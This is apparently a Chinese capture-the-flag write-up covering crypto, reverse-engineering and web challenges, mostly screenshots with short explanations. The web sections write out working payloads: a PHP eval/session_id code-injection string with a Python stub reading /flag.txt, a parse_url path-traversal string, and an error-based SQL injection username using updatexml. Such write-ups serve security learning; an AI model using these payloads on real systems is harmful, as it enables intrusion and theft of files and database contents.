易博霖CTF
签到题
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
![a5507230eef47c22880381d1be12e068.png](https://img-blog.csdnimg.cn/img_convert/a5507230eef47c22880381d1be12e068.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
RSABackDoor
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
先用脚本跑出p
![451166460169bb928ac6a80825f64bb3.png](https://img-blog.csdnimg.cn/img_convert/451166460169bb928ac6a80825f64bb3.png)
![baf92e8a357ed9186cc88aa259a187fd.png](https://img-blog.csdnimg.cn/img_convert/baf92e8a357ed9186cc88aa259a187fd.png)
分解后直接求
![c0a7e7af69c7f2ed1c13634c096ec000.png](https://img-blog.csdnimg.cn/img_convert/c0a7e7af69c7f2ed1c13634c096ec000.png)
![a197f698aa5427a8212c0bb89e3a9e57.png](https://img-blog.csdnimg.cn/img_convert/a197f698aa5427a8212c0bb89e3a9e57.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
Re1
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
![1785cfc3b4198e35dd8b3f05336b3478.png](https://img-blog.csdnimg.cn/img_convert/1785cfc3b4198e35dd8b3f05336b3478.png)
转一下就是flag
![1b3daf7ee4fc139d67021c4f7aa83149.png](https://img-blog.csdnimg.cn/img_convert/1b3daf7ee4fc139d67021c4f7aa83149.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
RE_Babyangr
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
分析主函数,大致意思为输入16个字符,然后经过complex_function函数的处理与password比较
![81198e2101ab791e12cb756ee6f6fb15.png](https://img-blog.csdnimg.cn/img_convert/81198e2101ab791e12cb756ee6f6fb15.png)
complex_function函数如下
![8c69e014614ae793ce790fc46f0e2dda.png](https://img-blog.csdnimg.cn/img_convert/8c69e014614ae793ce790fc46f0e2dda.png)
告诉我们字符范围为65到90,直接爆破求出flag
![8d5479d2e23954aed77e8b2ec49c7f86.png](https://img-blog.csdnimg.cn/img_convert/8d5479d2e23954aed77e8b2ec49c7f86.png)
![dc320a96c15254b2705383354627ce93.png](https://img-blog.csdnimg.cn/img_convert/dc320a96c15254b2705383354627ce93.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
Web1
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
限制传入的参数只能为 function(function(function()))
这种类型
session_id 用来获取当前会话id,但是会话id的组成仅允许字母数字,这样可以想到用十六进制来进行操作。
所以构造
payload:eval(hex2bin(session_id(session_start())));
脚本:
import requests
url= "http://124.193.74.212:32625/?var=eval(hex2bin(session_id(session_start())));"
payload="var_dump(file_get_contents('/flag.txt'));".encode('hex')
cookies={'PHPSESSID':payload}
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
Web2
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
![a072165b62290c3d90ab505ae727b77d.png](https://img-blog.csdnimg.cn/img_convert/a072165b62290c3d90ab505ae727b77d.png)
File 参数后门跟着一串base64编码两次的字符串 对其解码为
ctfimage.jpg
判断存在文件包含漏洞 构造index.php 编码两次传入得到源码
![3b0c24f686a11fcdd5ce1f7fc5982b9b.png](https://img-blog.csdnimg.cn/img_convert/3b0c24f686a11fcdd5ce1f7fc5982b9b.png)
提示读取hal0flagi5here.php
![03ebdfca40cfa14fcbb489942753f3a1.png](https://img-blog.csdnimg.cn/img_convert/03ebdfca40cfa14fcbb489942753f3a1.png)
虽然index.php里做了将ctf转成flag的处理,但并没有限制flag字符串,不知道这个判断有什么意义。
根据提示知道是 parse_url的漏洞
直接构造
dict://@happyctf.com/../../../../flag.txt
![4fa1315384e35a6444e9b8dced24aff9.png](https://img-blog.csdnimg.cn/img_convert/4fa1315384e35a6444e9b8dced24aff9.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
Web3
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
有注册登录改密码三个功能
在改密码的时候会进行查询操作
只要在第一步注册用户名时插入” 在改密码时点击提交就会产生报错
注册用户名
yy"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
![11cba1b8b793d1497954a1fb814648fa.png](https://img-blog.csdnimg.cn/img_convert/11cba1b8b793d1497954a1fb814648fa.png)
查出了当前数据库的表名
![6d36328acc4b5b98ca0a38146b2c6721.png](https://img-blog.csdnimg.cn/img_convert/6d36328acc4b5b98ca0a38146b2c6721.png)
用脚本跑出flag
![7bbfefd493a99feff47a53a76e6d5d5d.png](https://img-blog.csdnimg.cn/img_convert/7bbfefd493a99feff47a53a76e6d5d5d.png)
![f559cec065fe8cbe434817f574e4d1f3.png](https://img-blog.csdnimg.cn/img_convert/f559cec065fe8cbe434817f574e4d1f3.png)
Web4
![14829d30c5067ab605a82b109438cde1.gif](https://img-blog.csdnimg.cn/img_convert/14829d30c5067ab605a82b109438cde1.gif)
![d9243b98e10a839899da8b9d08ed3f6e.png](https://img-blog.csdnimg.cn/img_convert/d9243b98e10a839899da8b9d08ed3f6e.png)
![49ef54fc78354584a9d7f4252b3c4b0b.png](https://img-blog.csdnimg.cn/img_convert/49ef54fc78354584a9d7f4252b3c4b0b.png)